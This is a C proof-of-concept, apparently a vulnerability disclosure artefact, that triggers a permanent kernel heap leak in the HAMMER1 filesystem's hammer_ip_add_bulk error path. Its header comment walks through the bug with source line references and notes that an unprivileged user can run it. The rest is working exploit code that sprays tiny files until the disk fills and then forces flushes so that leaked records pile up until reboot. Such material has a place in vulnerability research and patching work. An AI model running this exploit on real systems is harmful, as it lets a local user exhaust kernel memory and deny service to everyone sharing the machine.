DF-3012 / op3012.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | /* * DF-3012 โ hammer(1) in-memory record leak on blockmap reservation * failure (hammer_ip_add_bulk error path). * * Bug: sys/vfs/hammer/hammer_object.c:974-977 * record = hammer_alloc_mem_record(ip, 0); // ref=1 * record->resv = hammer_blockmap_reserve(...); * if (record->resv == NULL) { * hdkprintf("reservation failed\n"); * hammer_rel_mem_record(record); // ref->0, NOT freed * return (NULL); * } * hammer_rel_mem_record() only destroys a record carrying * HAMMER_RECF_DELETED_FE/BE or COMMITTED (hammer_object.c:391-393). * A never-inserted, un-flagged record released here drops to zero refs * and is never kfree()d => permanent kernel heap leak of * sizeof(struct hammer_record) (~224B) in the "HAMMER-others" malloc * zone, once per FAILED direct-write reservation. * * Same class: hammer_ip_add_direntry() ENOSPC path at :711-716 leaks * record + HAMMER_ENTRY_SIZE(bytes) of data (needs 2^32 hash-collision * iterations โ impractical, not triggered here). * * Why a buffer flush can still hit a failing blockmap even though * hammer_vop_write() has the hammer_checkspace() gate: the gate's * estimate only learns about a file's data when the FLUSHER creates * the record (hmp->rsv_databytes += leaf.data_len in hammer_mem_add), * while the underlying 16K reservation is carved at strategy time. * A file of N<=16384 bytes burns a full 16K big-block slice * (bytes = HAMMER_DATA_DOALIGN(size), hammer_vnops.c:3249-3251) but is * accounted to checkspace only after it lands. Spraying tiny files as * fast as the CPU allows therefore overshoots the REAL blockmap by the * dirty-buffer backlog; every buffer that flushes after the zone wraps * fails its reservation inside hammer_ip_add_bulk() and leaks one * record. The leaked records have zero refs, are on no tree, and are * referenced by nothing โ they persist until reboot. * * Evidence: "HAMMER-others" zone count in `vmstat -m` jumps by the * number of failed buffers and NEVER comes back down (verified after * sync + rm -rf + sync); dmesg shows "hammer_ip_add_bulk: reservation * failed" per leaked record. * * Usage: op3012 <mountpoint> <nfiles> * Run as an unprivileged user on a writable HAMMER1 mount. */ #include <sys/types.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *mp; char path[512]; char buf[16]; int i, fd, n, nfiles; int created = 0, wrote = 0, wfail = 0; if (argc < 3) { fprintf(stderr, "usage: op3012 <mountpoint> <nfiles>\n"); exit(2); } mp = argv[1]; nfiles = atoi(argv[2]); /* unique-ish 1..15 byte payloads (files stay < 16K => one 16K * record each, DOALIGN'd at strategy time) */ for (i = 0; i < nfiles; i++) { int len = 1 + (i % 15); snprintf(path, sizeof(path), "%s/t%d", mp, i); fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0666); if (fd < 0) { if (errno == ENOSPC || errno == EDQUOT) break; fprintf(stderr, "open(%s): %s\n", path, strerror(errno)); break; } created++; memset(buf, (char)(0x41 + (i % 26)), sizeof(buf)); n = write(fd, buf, len); if (n < 0) { wfail++; if (errno != ENOSPC) fprintf(stderr, "write(%s): %s\n", path, strerror(errno)); } else { wrote += n; } close(fd); if ((i + 1) % 2000 == 0) fprintf(stderr, " %d files created\n", i + 1); } printf("STAGE-A tiny-file spray: created=%d writefail=%d " "bytes=%d (stop errno=%d %s)\n", created, wfail, wrote, errno, strerror(errno)); /* * Force the flush: every dirty buffer whose reservation fails now * leaks one struct hammer_record. Buffers flushed successfully * just consume space. */ sync(); sleep(3); sync(); sleep(1); printf("DONE (check HAMMER-others zone: elevated count == leaked " "records; it must not shrink after cleanup)\n"); return (0); } |